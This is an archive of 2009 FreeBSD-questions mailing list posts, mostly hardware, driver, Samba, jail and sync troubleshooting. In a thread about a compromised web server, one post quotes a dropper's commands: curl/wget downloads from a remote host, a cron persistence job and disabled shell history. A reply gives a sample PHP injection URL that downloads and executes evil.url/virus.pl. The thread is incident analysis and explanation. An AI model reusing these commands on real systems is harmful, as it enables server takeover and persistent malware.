Re: hard disk failure - now what?

2009-08-27 Thread Sebastian Seidl

George Davidovich wrote:

On Wed, Aug 26, 2009 at 04:45:40PM -0400, Jerry McAllister wrote:
  

On Wed, Aug 26, 2009 at 10:23:47PM +0200, Roland Smith wrote:



On Wed, Aug 26, 2009 at 12:13:48PM -0700, George Davidovich wrote: I
remember this special non-condictive 3M fluid that can be used to
cool electronics. A group of hackers dunked a complete PC minus the
case and power supply in this stuff. The fluid itself was cooled
with liquid nitrogen. They everclocked it something wicked. Not very
practical though. :-)
  

A number of supercomputers from Cray and Control Data and maybe some
other places used this sort of thing on some experimental systems.  I
don't know if any ever were put in to commercial production.  They
submerged who boards in to it and then supercooled the fluid.   I
don't remember the chemical names.  



I do, but have no idea why.

http://en.wikipedia.org/wiki/Perfluorohexane

  
The fluid was a relative of Freon and held sufficient levels of oxygen 
to support lung breathers.  They used to have a tank with a live mouse 
submerged in it bouncing around and seeming to have no trouble not 
choking or drowning.  



  

A variation of it was also researched as a blood substitute for some
special medical needs.  I don't know how far that went.I know it
is not all fantasy because I saw the live mouse.   



I believe you.  I saw a similar scene in a movie, so I already knew it
had to be true.  Bonus points for anyone that can add to this thread's
collection of off-topic but semi-interesting trivia and name the movie. 

  

I didn't try the blood substitute.



How do you save a drowning mouse?
Use mouse to mouse resuscitation.

Thanks, I'll be here all week.  Try the veal instead.

  
If the the freezer doesn't work I suggest finding an identical drive and 
replace the electronic board. Worked for many damaged drives.


Regards,
Sebastian Seidl

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: hard disk failure - now what?

2009-08-27 Thread Mark Stapper
Gary Gatten wrote:
 Naw, I don't recall the POST error exactly, but from what I remember it
 couldn't find a boot device.  Could've been the controller, but from
 what I recall I swapped the drive (later) and all was good.  I really
 don't recall though - I could've put the bad drive in a good laptop
 and fixed it that way - really don't recall details.  Wish I could fix
 some other problems by throwing them in a freezer!
   
Some try to solve their marital problems with a freezer... and an axe ;-)



signature.asc
Description: OpenPGP digital signature


ATI HD 4550 xorg.conf radeon driver

2009-08-27 Thread Jeronimo Calvo
Hi folks,

I am setting up a fresh installation of Freebsd on a EMT64 machine...
everything is working smooth so far, but im wondering some things about the
3D support from my graphic card, i bought that card few weeks ago (stupid me
i didnt read about ATU support under FreeBSD before...) but btw i can not
step back... Im trying to get 3D aceleration for that card... noticed that
after setting up X11 xorg.conf... Driver used is radeon, I'd been reading
about the possibility of using others... what is the best option? I noticed
that im unable to set activate the desktop affects, that makes me wonder...
that 3d is not working properly innit??

Can somebody help me with this??

Cheers fellas!
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3

2009-08-27 Thread Marc Fonvieille
On Wed, Aug 26, 2009 at 06:54:25PM +0100, Tony McC wrote:
 Hello,
 
 I am running FreeBSD 8.0-BETA3 amd64 and am having trouble syncing my
 Palm TX with jpilot.  This used to work with 7.2-STABLE amd64 and I
 suspect I'm just not using the usb: connection correctly but have not
 been able to find a solution by searching the archives.  
 
 I am running a custom kernel with device uvisor commented out, though
 the same problem occurs if I recompile with uvisor included. 

[...]

First you need to have uvisor(4) loaded (compiled in the kernel or via
the loaded module).  Last uvisor(4) revision was not merged in BETA3 so
you will have to wait for the merge or directly grab it from

http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/sys/dev/usb/serial/uvisor.c?rev=1.12;content-type=text%2Fplain;only_with_tag=HEAD

replace you src/sys/dev/usb/serial/uvisor.c with that one and rebuild
your module/kernel

Then if you plug your device and launch Hotsync on the Palm a /dev/cuaU0
device should appear.  You should check that.
If you have jpilot installed, palm/pilot-link tools are installed (be
sure it was compiled with USB support), so once the /dev/cuaU0 device
node is created you can type:

# pilot-xfer -p /dev/cuaU0 -l

this should list the installed files on your device,

# pilot-xfer -p /dev/cuaU0 -b your_backup_dir

to backup your palm on your PC.

If these commands worked, then jpilot should work as well.

-- 
Marc
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: ATI HD 4550 xorg.conf radeon driver

2009-08-27 Thread Mark Stapper
Jeronimo Calvo wrote:
 Hi folks,

 I am setting up a fresh installation of Freebsd on a EMT64 machine...
 everything is working smooth so far, but im wondering some things about the
 3D support from my graphic card, i bought that card few weeks ago (stupid me
 i didnt read about ATU support under FreeBSD before...) but btw i can not
 step back... Im trying to get 3D aceleration for that card... noticed that
 after setting up X11 xorg.conf... Driver used is radeon, I'd been reading
 about the possibility of using others... what is the best option? I noticed
 that im unable to set activate the desktop affects, that makes me wonder...
 that 3d is not working properly innit??

 Can somebody help me with this??

 Cheers fellas!
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
   
Hello,

In order to help you we need some more information regarding your system
and setup.
First of all: which hardware are you using exactly? Most importantly the
make and model of you graphics card.

Second: which version of FreeBSD are you using? Preferably, post the
output of the following command:
uname -a


Besides that I would give the redeonhd driver a go.
I don't have much experience with these though, As i have an Nvidia card
(amd64 support please!! :'( )
Greetz,
Mark



signature.asc
Description: OpenPGP digital signature


Re: ATI HD 4550 xorg.conf radeon driver

2009-08-27 Thread Jeronimo Calvo
Hi mate!

The card is an: ATI Radeon™ HD 4550 Graphics Technology running on:# uname
-a
FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC 2009
iscariote@:/usr/obj/usr/src/

cheers!


sys/MYKERNEL amd64
2009/8/27 Mark Stapper st...@mapper.nl

 Jeronimo Calvo wrote:
  Hi folks,
 
  I am setting up a fresh installation of Freebsd on a EMT64 machine...
  everything is working smooth so far, but im wondering some things about
 the
  3D support from my graphic card, i bought that card few weeks ago (stupid
 me
  i didnt read about ATU support under FreeBSD before...) but btw i can not
  step back... Im trying to get 3D aceleration for that card... noticed
 that
  after setting up X11 xorg.conf... Driver used is radeon, I'd been
 reading
  about the possibility of using others... what is the best option? I
 noticed
  that im unable to set activate the desktop affects, that makes me
 wonder...
  that 3d is not working properly innit??
 
  Can somebody help me with this??
 
  Cheers fellas!
  ___
  freebsd-questions@freebsd.org mailing list
  http://lists.freebsd.org/mailman/listinfo/freebsd-questions
  To unsubscribe, send any mail to 
 freebsd-questions-unsubscr...@freebsd.org
 
 Hello,

 In order to help you we need some more information regarding your system
 and setup.
 First of all: which hardware are you using exactly? Most importantly the
 make and model of you graphics card.

 Second: which version of FreeBSD are you using? Preferably, post the
 output of the following command:
 uname -a


 Besides that I would give the redeonhd driver a go.
 I don't have much experience with these though, As i have an Nvidia card
 (amd64 support please!! :'( )
 Greetz,
 Mark


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


BSD Magazine - cooperation

2009-08-27 Thread Michał Gładecki

Hello,

I represent BSD magazine and I am writing to present you with a great 
offer that we have for the users of your website.


If you buy the current issue of BSD: 3/2009 (5), scan the receipt and 
send to edit...@bsdmag.org mailto:edit...@bsdmag.org you will get 
archives of Linux+ magazine and BSD magazine and 30% off for a subscription.


I was wondering whether you could place this info and/or the whole 
newsletter somewhere on your website.


I am looking forward to hearing from you.

Best wishes,
Michal Gladecki

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: ATI HD 4550 xorg.conf radeon driver

2009-08-27 Thread Mark Stapper
Jeronimo Calvo wrote:
 Hi mate!


   The card is an: ATI Radeon™ HD 4550 Graphics Technology running on:

 # uname -a
 FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC
 2009 iscariote@:/usr/obj/usr/src/

 cheers!


 sys/MYKERNEL amd64


First of, I's update to either 7.x stable or 8.0.
Check the handbook on how to update your kernel/world
http://www.freebsd.org/doc/en/books/handbook/makeworld.html
Then get the radeonhd, which has 3d support for RV7xx chips (Your GPU
should have a RV710)
http://www.x.org/wiki/radeonhd
To test opengl accell use glxgears located in graphics/mesa-demos.
Have fun with it :-)
Greetz,
Mark
 2009/8/27 Mark Stapper st...@mapper.nl mailto:st...@mapper.nl

 Jeronimo Calvo wrote:
  Hi folks,
 
  I am setting up a fresh installation of Freebsd on a EMT64
 machine...
  everything is working smooth so far, but im wondering some
 things about the
  3D support from my graphic card, i bought that card few weeks
 ago (stupid me
  i didnt read about ATU support under FreeBSD before...) but btw
 i can not
  step back... Im trying to get 3D aceleration for that card...
 noticed that
  after setting up X11 xorg.conf... Driver used is radeon, I'd
 been reading
  about the possibility of using others... what is the best
 option? I noticed
  that im unable to set activate the desktop affects, that makes
 me wonder...
  that 3d is not working properly innit??
 
  Can somebody help me with this??
 
  Cheers fellas!
  ___
  freebsd-questions@freebsd.org
 mailto:freebsd-questions@freebsd.org mailing list
  http://lists.freebsd.org/mailman/listinfo/freebsd-questions
  To unsubscribe, send any mail to
 freebsd-questions-unsubscr...@freebsd.org
 mailto:freebsd-questions-unsubscr...@freebsd.org
 
 Hello,

 In order to help you we need some more information regarding your
 system
 and setup.
 First of all: which hardware are you using exactly? Most
 importantly the
 make and model of you graphics card.

 Second: which version of FreeBSD are you using? Preferably, post the
 output of the following command:
 uname -a


 Besides that I would give the redeonhd driver a go.
 I don't have much experience with these though, As i have an
 Nvidia card
 (amd64 support please!! :'( )
 Greetz,
 Mark






signature.asc
Description: OpenPGP digital signature


Re: ATI HD 4550 xorg.conf radeon driver

2009-08-27 Thread Jeronimo Calvo
Thanks for the advice!! I will enjoy it for sure!! BTW i ordered both
printer handbooks from FREEBSD Mall! to keep reading when goinn to the
toilet! hahahah

I tought that my version was already stable... when i downloaded...
7.2-RELEASE is the same as 7.2-CURRENT then??

Will be better to upgrade to v 8 or downgroaded to 7.0-STABLE?

Thanks!

2009/8/27 Mark Stapper st...@mapper.nl

 Jeronimo Calvo wrote:
  Hi mate!
 
 
The card is an: ATI Radeon™ HD 4550 Graphics Technology running on:
 
  # uname -a
  FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC
  2009 iscariote@:/usr/obj/usr/src/
 
  cheers!
 
 
  sys/MYKERNEL amd64
 
 
 First of, I's update to either 7.x stable or 8.0.
 Check the handbook on how to update your kernel/world
 http://www.freebsd.org/doc/en/books/handbook/makeworld.html
 Then get the radeonhd, which has 3d support for RV7xx chips (Your GPU
 should have a RV710)
 http://www.x.org/wiki/radeonhd
 To test opengl accell use glxgears located in graphics/mesa-demos.
 Have fun with it :-)
 Greetz,
 Mark
  2009/8/27 Mark Stapper st...@mapper.nl mailto:st...@mapper.nl
 
  Jeronimo Calvo wrote:
   Hi folks,
  
   I am setting up a fresh installation of Freebsd on a EMT64
  machine...
   everything is working smooth so far, but im wondering some
  things about the
   3D support from my graphic card, i bought that card few weeks
  ago (stupid me
   i didnt read about ATU support under FreeBSD before...) but btw
  i can not
   step back... Im trying to get 3D aceleration for that card...
  noticed that
   after setting up X11 xorg.conf... Driver used is radeon, I'd
  been reading
   about the possibility of using others... what is the best
  option? I noticed
   that im unable to set activate the desktop affects, that makes
  me wonder...
   that 3d is not working properly innit??
  
   Can somebody help me with this??
  
   Cheers fellas!
   ___
   freebsd-questions@freebsd.org
  mailto:freebsd-questions@freebsd.org mailing list
   http://lists.freebsd.org/mailman/listinfo/freebsd-questions
   To unsubscribe, send any mail to
  freebsd-questions-unsubscr...@freebsd.org
  mailto:freebsd-questions-unsubscr...@freebsd.org
  
  Hello,
 
  In order to help you we need some more information regarding your
  system
  and setup.
  First of all: which hardware are you using exactly? Most
  importantly the
  make and model of you graphics card.
 
  Second: which version of FreeBSD are you using? Preferably, post the
  output of the following command:
  uname -a
 
 
  Besides that I would give the redeonhd driver a go.
  I don't have much experience with these though, As i have an
  Nvidia card
  (amd64 support please!! :'( )
  Greetz,
  Mark
 
 



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Can anyone reproduce this Samba problem?

2009-08-27 Thread Reko Turja

Interestingly, if I turn off 'inherit permissions', then 'inherit
owner' DOES take effect correctly. However, that means the sticky 
bit
does not get inherited, which will not work for me. I need both to 
be

inherited, and for some reason they are behaving mutually-exclusive
(with 'inherit permissions' taking precedence).


If I understood your problem correctly, you don't actually want to set 
sticky bit on the root directory, but suid - so the chmod would be 
like


chmod 4xxx mydir

In FreeBSD suid-bitted directory will make all the subdirs to inherit 
the owner.


Sticky bit causes bit different behaviour - see sticky (8) and 
chmod(1)


-Reko 


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: ATI HD 4550 xorg.conf radeon driver

2009-08-27 Thread Mark Stapper
Jeronimo Calvo wrote:
 Thanks for the advice!! I will enjoy it for sure!! BTW i ordered both
 printer handbooks from FREEBSD Mall! to keep reading when goinn to the
 toilet! hahahah

 I tought that my version was already stable... when i downloaded...
 7.2-RELEASE is the same as 7.2-CURRENT then??

 Will be better to upgrade to v 8 or downgroaded to 7.0-STABLE?

 Thanks!
Well, of course 7.2-RELEASE runs stable, but it's not the STABLE branch.
CURRENT is now FreeBSD 8.
FreeBSD 8 is now in the last Beta stage, and will be ready to be
released soon.
So I'd update to FreeBSD 8 by updating world and using  tag=RELENG_8
(see /usr/share/examples/cvsup/stable-supfile for more info)
basically you'd copy this file to you root's home dir, and find
tag=RELENG_7 (which indicates you would track the 7-STABLE branch) and
replace it with tag=RELENG_8.
Now follow the handbook to install and configure your kernel and update
and install world.
If you complete this step successfully, you'll have learned a lot about
FreeBSD :-)
You should recompile/update your ports afterwards too.
Don't forget to tweake /etc/make.conf (check out
/usr/share/examples/etc/make.conf for guidance)
Greetz,
Mark

 2009/8/27 Mark Stapper st...@mapper.nl mailto:st...@mapper.nl

 Jeronimo Calvo wrote:
  Hi mate!
 
 
The card is an: ATI Radeon™ HD 4550 Graphics Technology
 running on:
 
  # uname -a
  FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC
  2009 iscariote@:/usr/obj/usr/src/
 
  cheers!
 
 
  sys/MYKERNEL amd64
 
 
 First of, I's update to either 7.x stable or 8.0.
 Check the handbook on how to update your kernel/world
 http://www.freebsd.org/doc/en/books/handbook/makeworld.html
 Then get the radeonhd, which has 3d support for RV7xx chips (Your GPU
 should have a RV710)
 http://www.x.org/wiki/radeonhd
 To test opengl accell use glxgears located in graphics/mesa-demos.
 Have fun with it :-)
 Greetz,
 Mark
  2009/8/27 Mark Stapper st...@mapper.nl mailto:st...@mapper.nl
 mailto:st...@mapper.nl mailto:st...@mapper.nl
 
  Jeronimo Calvo wrote:
   Hi folks,
  
   I am setting up a fresh installation of Freebsd on a EMT64
  machine...
   everything is working smooth so far, but im wondering some
  things about the
   3D support from my graphic card, i bought that card few weeks
  ago (stupid me
   i didnt read about ATU support under FreeBSD before...)
 but btw
  i can not
   step back... Im trying to get 3D aceleration for that card...
  noticed that
   after setting up X11 xorg.conf... Driver used is radeon, I'd
  been reading
   about the possibility of using others... what is the best
  option? I noticed
   that im unable to set activate the desktop affects, that makes
  me wonder...
   that 3d is not working properly innit??
  
   Can somebody help me with this??
  
   Cheers fellas!
   ___
   freebsd-questions@freebsd.org
 mailto:freebsd-questions@freebsd.org
  mailto:freebsd-questions@freebsd.org
 mailto:freebsd-questions@freebsd.org mailing list
   http://lists.freebsd.org/mailman/listinfo/freebsd-questions
   To unsubscribe, send any mail to
  freebsd-questions-unsubscr...@freebsd.org
 mailto:freebsd-questions-unsubscr...@freebsd.org
  mailto:freebsd-questions-unsubscr...@freebsd.org
 mailto:freebsd-questions-unsubscr...@freebsd.org
  
  Hello,
 
  In order to help you we need some more information regarding
 your
  system
  and setup.
  First of all: which hardware are you using exactly? Most
  importantly the
  make and model of you graphics card.
 
  Second: which version of FreeBSD are you using? Preferably,
 post the
  output of the following command:
  uname -a
 
 
  Besides that I would give the redeonhd driver a go.
  I don't have much experience with these though, As i have an
  Nvidia card
  (amd64 support please!! :'( )
  Greetz,
  Mark
 
 






signature.asc
Description: OpenPGP digital signature


Re: what www perl script is running?

2009-08-27 Thread Colin Brace


Colin Brace wrote:
 
 ah, another directory found in /tmp with files written by www called
 .bash/ Contents here:
 
 http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz
 
Apropos of the contents of the above, a correspondent writes: 

[...]
running 'strings' on /tmp/owned will show 
HISTFILE=/dev/null
cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null
cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null
echo '*/1 * * * * perl /tmp/tmpfile' cron.job
crontab cron.job
rm -rf cron.job
chmod 0100 /tmp/tmpfile 21 /dev/null
perl /tmp/tmpfile 21 /dev/null
[...]

So this would be the original mischief-maker.

Just out of curiousity, can someone explain to me in basic terms how an
intruder exploits a vulnerability such as apparently existed on my system
(the RoundCube webmail package was apparently the culprit) to place the
binary file owned in /tmp and execute it?

Thanks

-
  Colin Brace
  Amsterdam
  http://lim.nl
-- 
View this message in context: 
http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html
Sent from the freebsd-questions mailing list archive at Nabble.com.

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


freenx

2009-08-27 Thread Giuseppe Pagnoni
Dear all,

I am trying to use nxclient on a FreeBSD machine (i386, 7.2 Rel). I
installed freenx but I can't figure out how to use it to connect to a
remote machine.  It seems that the port does not put any executable
into any standard path.  If I enter in a terminal:

/usr/local/NX/bin/nxclient

I get the following message:

getopt: illegal option -- o
Terminating...


I had previously used NXclient but through a GUI interface.  I
couldn't find a way to start a GUI here or even figure out the
required command line syntax (no man pages installed, no --help option
available,...).

Did anybody know how to make this work (if it actually does..)?

thanks in advance for any suggestion

best

   giuseppe
-- 
Giuseppe Pagnoni
Dip. Scienze Biomediche
Sezione Fisiologia
Univ. di Modena e Reggio Emilia
Via Campi 287
I-41100 Modena, Italy
Tel: +39-059-205-5742
Fax: +39-059-205-5363
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Intel Pro Wireless 5100 AGN

2009-08-27 Thread Leonardo M . Ramé
Any news about the Intel Pro Wireless 5100 AGN driver for FreeBSD 7.2 - Amd64?

Leonardo M. Ramé
http://leonardorame.blogspot.com





___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


linux-nx-client: connection error

2009-08-27 Thread Giuseppe Pagnoni
Hi all,

I am trying to connect from my machine (i386, FreeBSD 7.2 Rel) to a
remote machine using linux-nx-client.  I get through the
authentication phase just fine, but soon after that the connection
stops.  Here is the message that comes up when I hit the Details
button:


NXPROXY - Version 2.1.0

Copyright (C) 2001, 2006 NoMachine.
See http://www.nomachine.com/ for more information.

Info: Proxy running in client mode with pid '29650'.
Session: Starting session at 'Thu Aug 27 14:57:33 2009'.
Error: Failed to set TCP_NODELAY flag on FD#9 to 1. Error is 22
'Invalid argument'.
Info: Aborting the procedure due to signal '15'.


Even when I check the option:

Disable no-delay on TCP connection

under the Configuration settings (Advanced tab), the error does not change.

Does anybody have any suggestion?

thanks in advance

giuseppe






-- 
Giuseppe Pagnoni
Dip. Scienze Biomediche
Sezione Fisiologia
Univ. di Modena e Reggio Emilia
Via Campi 287
I-41100 Modena, Italy
Tel: +39-059-205-5742
Fax: +39-059-205-5363
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Information on Setting up a Jailed Webserver

2009-08-27 Thread APseudoUtopia
On Wed, Aug 26, 2009 at 11:35 PM, Erich Dollanskyer...@apsara.com.sg wrote:
 Hi,

 On 27 August 2009 am 11:10:37 Adam Vande More wrote:
 On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia
 apseudouto...@gmail.comwrote:
 
  Also, how memory-intensive is a jail?

 Very light when compared to other virtualization methods.

 jails share the kernel but not the world.

 So, there will be only one kernel loaded but all libraries in use
 will be loaded individually by each jail when needed.

 Jails need some more disk space as the world, all libraries needed
 and all applications needed are installed individually in each
 jail.

 This can be minimised with proper planning of what runs it what
 jail.

 Erich


Thanks for the helpful replies. I have a couple of questions:

When a jail is compromised, the only thing I have to do to recover the
system is delete the jail and create a new one, correct? The host
system is untouched even if a jail is compromised?

And how does the upgrade process work? I know the userland must be the
same for the host system and the jail. If I want to upgrade to, say,
FreeBSD 8 when released, what is the process? I'd imagine it goes
something like this, but I'm not sure:
-Shut down jail
-Upgrade host system
-Install host binaries
-Install jail binaries
-Restart jail

Or is there more to the process than what it seems?

Thanks again.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


X.21 PCI Express Cards for FreeBSD 7 or later

2009-08-27 Thread Riaan Kruger
Does anybody know of a X.21 (PCI Express From factor) card that works under
FBSD7 or later.  It is quite hard to figure out from the hardware/release
notes.

Thanx
Riaan
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: fusefs-sshfs

2009-08-27 Thread Roald de Vries

Dear Patrick,

I'm running 7.1; I have /dev/fuse0. How did you do it?

Roald


On Aug 27, 2009, at 4:55 AM, patrick wrote:


Which version of FreeBSD are you running? I just installed sshfs on
7.2, and while I didn't get it working right away, I did eventually do
it. Do you have /dev/fuse0?

Patrick


On Mon, Aug 17, 2009 at 2:15 PM, Roald de Vriesr...@roalddevries.nl  
wrote:

Dear all,

I've installed fusefs-sshfs, and added fusefs_enable=YES to  
rc.conf.
During startup, I see fusefs being started, but when I do: sshfs  
remote:~
/media/remote, I get fuse: failed to open fuse device: No such  
file or

directory. Any idea why? Thanks in advance.

Kind regards,

Roald
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org 







___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Information on Setting up a Jailed Webserver

2009-08-27 Thread Adam Vande More
On Thu, Aug 27, 2009 at 9:13 AM, APseudoUtopia apseudouto...@gmail.comwrote:

 On Wed, Aug 26, 2009 at 11:35 PM, Erich Dollanskyer...@apsara.com.sg
 wrote:
  Hi,
 
  On 27 August 2009 am 11:10:37 Adam Vande More wrote:
  On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia
  apseudouto...@gmail.comwrote:
  
   Also, how memory-intensive is a jail?
 
  Very light when compared to other virtualization methods.
 
  jails share the kernel but not the world.
 
  So, there will be only one kernel loaded but all libraries in use
  will be loaded individually by each jail when needed.
 
  Jails need some more disk space as the world, all libraries needed
  and all applications needed are installed individually in each
  jail.
 
  This can be minimised with proper planning of what runs it what
  jail.
 
  Erich
 

 Thanks for the helpful replies. I have a couple of questions:

 When a jail is compromised, the only thing I have to do to recover the
 system is delete the jail and create a new one, correct? The host
 system is untouched even if a jail is compromised?

Really depends on how you're using the jail, but under standard usage yes.



 And how does the upgrade process work? I know the userland must be the
 same for the host system and the jail. If I want to upgrade to, say,
 FreeBSD 8 when released, what is the process? I'd imagine it goes
 something like this, but I'm not sure:
 -Shut down jail
 -Upgrade host system
 -Install host binaries
 -Install jail binaries
 -Restart jail

 Or is there more to the process than what it seems?

That's the basic process, however as mentioned before checkout ezjail.  It
makes administering multiple jails much easier and can save you disk space.



 Thanks again.
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to 
 freebsd-questions-unsubscr...@freebsd.org




-- 
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3

2009-08-27 Thread Tony McC
On Thu, 27 Aug 2009 09:36:22 +0200
Marc Fonvieille black...@freebsd.org wrote:

 First you need to have uvisor(4) loaded (compiled in the kernel or via
 the loaded module).  Last uvisor(4) revision was not merged in BETA3
 so you will have to wait for the merge or directly grab it from
 
 http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/sys/dev/usb/serial/uvisor.c?rev=1.12;content-type=text%2Fplain;only_with_tag=HEAD
 
 replace you src/sys/dev/usb/serial/uvisor.c with that one and rebuild
 your module/kernel
 
 Then if you plug your device and launch Hotsync on the Palm
 a /dev/cuaU0 device should appear.  You should check that.
 If you have jpilot installed, palm/pilot-link tools are installed (be
 sure it was compiled with USB support), so once the /dev/cuaU0 device
 node is created you can type:
 
 # pilot-xfer -p /dev/cuaU0 -l
 
 this should list the installed files on your device,
 
 # pilot-xfer -p /dev/cuaU0 -b your_backup_dir
 
 to backup your palm on your PC.
 
 If these commands worked, then jpilot should work as well.
 

Marc, many thanks, that was a great help.  I uncommented uvisor in the
kernel config file, installed the newer uvisor.c, rebuilt and installed
the new kernel. Pressing the hotsync button did indeed create
a /dev/cuaU0 but I had to add myself to the 'dialer' group to use it.
Palm syncing now works again with jpilot!

BTW, when might that newer uvisor.c be merged into the RELENG_8 sources?

Thanks also to Roland.  I already had add path 'usb/*' in
my /etc/devfs.rules.  

Best wishes,
Tony

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: what www perl script is running?

2009-08-27 Thread Jeremy Hooks
Hi Colin.

I thought I'd just add my tuppence here.  Some time ago I suffered a
similar exploit, albeit on a Linux box, with Apache and a different
PHP web app (Horde if I recall correctly).

There are a number of ways your server could have been comprised via a
PHP webapp, and a mailling list probably isn't the best place to give
you a tutorial on the likes of cross-site scripting and code injection.
What I can do is tell you roughly how my site was infected via a code
injection - to give you an idea of how important it is to learn more
about it if you are running a webserver (espescially one with third
party web apps installed).

In my case, I was able to learn quite a bit about how the exploit was
performed by looking in my Apache logs.  Primarily because the attack
exploited an HTTP GET variable, so I could actually grep the name of

the script that was download from the logs.  Basically all it took was
for someone to construct a URL similar to the following*:

  http://www.myserver.com/vulnerable_script.php?unchecked_variable=some_value;
exec('wget http://evil.url/virus.pl -O /tmp/virus.pl');
exec('/tmp/virus.pl');

All it needs then is a bit of code on the server side which uses the
GET variable verbatum to build a line of code without checking the
variable.  If the above variable were used in the construction of a
line of PHP, in an (extra) unsafe manner, you would end up with
several lines of PHP.  Clearly building code from a user supplied
variable is a very bad idea, and doing so without checking the
variable... - however it isn't unheard of in the world of third
party web apps (it isn't unheard of in in-house web apps either,
however because that are not so widespread there is less chance
that the exploit will be found, and probably less to gain from
exploiting it).

The attack against your server was almost certainly automated and most
likely not even targetted at you.  If you check your error logs, you
will probably see lots of 'file not found' and similar errors, testing
for vulnerabilities in ASP scripts and PHP web apps which you don't
have installed - in much the same way that you will have SSH login
failures for users who don't exist on your system.

Using an incoming and outgoing firewall is clearly a must on a
dedicated web server.  Running an outgoing server on your desktop is
a bit more complicated as you would probably want to allow certain
applications to setup outgoing connections.  I don't know how you
do this on a FreeBSD system.

However something that no one seems to have mentioned yet is running
an application level firewall to protect your web server, this is
particularly important if you are running popular third party web
applications.  Once a flaw has been found in a popular web app, it is
very easily for the malware writers to attempt to exploit this on
thousands of webservers.  A web application firewall, such as
Mod_Security for Apache (not sure what is available for lighttpd),
will check the traffic to your HTTP server for any irregularities,
known exploits and potential exploits.

HTH

Jeremy

* the URL I wrote probably isn't even valid, it is just a
  demonstration, so just treat it as psuedocode.

2009/8/27 Colin Brace c...@lim.nl:


 Colin Brace wrote:

 ah, another directory found in /tmp with files written by www called
 .bash/ Contents here:

 http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz

 Apropos of the contents of the above, a correspondent writes:

 [...]
 running 'strings' on /tmp/owned will show
 HISTFILE=/dev/null
 cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null
 cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null
 echo '*/1 * * * * perl /tmp/tmpfile' cron.job
 crontab cron.job
 rm -rf cron.job
 chmod 0100 /tmp/tmpfile 21 /dev/null
 perl /tmp/tmpfile 21 /dev/null
 [...]

 So this would be the original mischief-maker.

 Just out of curiousity, can someone explain to me in basic terms how an
 intruder exploits a vulnerability such as apparently existed on my system
 (the RoundCube webmail package was apparently the culprit) to place the
 binary file owned in /tmp and execute it?

 Thanks

 -
  Colin Brace
  Amsterdam
  http://lim.nl
 --
 View this message in context: 
 http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html
